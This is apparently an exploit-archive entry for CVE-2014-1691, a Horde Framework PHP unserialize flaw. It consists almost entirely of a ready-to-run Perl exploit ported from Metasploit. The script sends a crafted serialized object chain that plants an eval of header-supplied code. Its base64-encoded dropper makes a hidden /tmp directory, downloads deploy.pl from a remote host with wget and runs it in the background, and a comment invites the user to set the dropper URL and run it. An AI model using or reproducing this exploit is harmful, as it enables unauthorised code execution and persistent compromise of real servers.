Horde Framework Unserialize PHP Code Execution



EKU-ID: 4126 CVE: 2014-1691 OSVDB-ID:
Author: Akra Macha Published: 2014-07-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#ported from metasploit by irrlicht
#june 2014
#modify dropper url and run
use strict;
use warnings;
use LWP::UserAgent;
use WWW::Mechanize;
use MIME::Base64;

if (!$ARGV[0]) {
 print "specify full login.php url\n";
 exit;
}
my $dropper = 'system("mkdir /tmp/\\" \\"; cd /tmp/\\" \\"; wget -O deploy.pl http://0.0.0.0/deploy.pl; nohup perl deploy.pl > /dev/null 2>&1 &");';
my $command = encode_base64($dropper . "echo \"999999999\"; echo \"EXPLOITED\"; system(\"ps aux; ls -la /tmp/\\\" \\\"\"); echo \"999999999\";", "");
my $loginpath = $ARGV[0];
my $php_injection = "eval(base64_decode(\$_SERVER[HTTP_CMD]));die();";
my $payload_serialized = "_formvars=O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";";
$payload_serialized .= "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";";
$payload_serialized .= "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:". length($php_injection) .":\"$php_injection\";}i:1;s:13:\"readXMLConfig\";}}";
$payload_serialized .= "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}";
$payload_serialized .= "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}";
$|=1;
my $ua = new LWP::UserAgent(ssl_opts => { verify_hostname => 0 });
$ua->timeout(3);
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");
my $request;
$request = new HTTP::Request(POST => $loginpath);
$request->header('CMD' => $command);
$request->header('Content-Type' => "application/x-www-form-urlencoded");
$request->content($payload_serialized);
my $mech = WWW::Mechanize->new(timeout => 3, ssl_opts => { verify_hostname => 0 });
my $response = $mech->request($request);
my $code = $response->code;
my $body = $response->decoded_content;
print $response->code."\n";
#print $body."\n";
if ($body =~ /999999999/) {
 print $body."\n";
}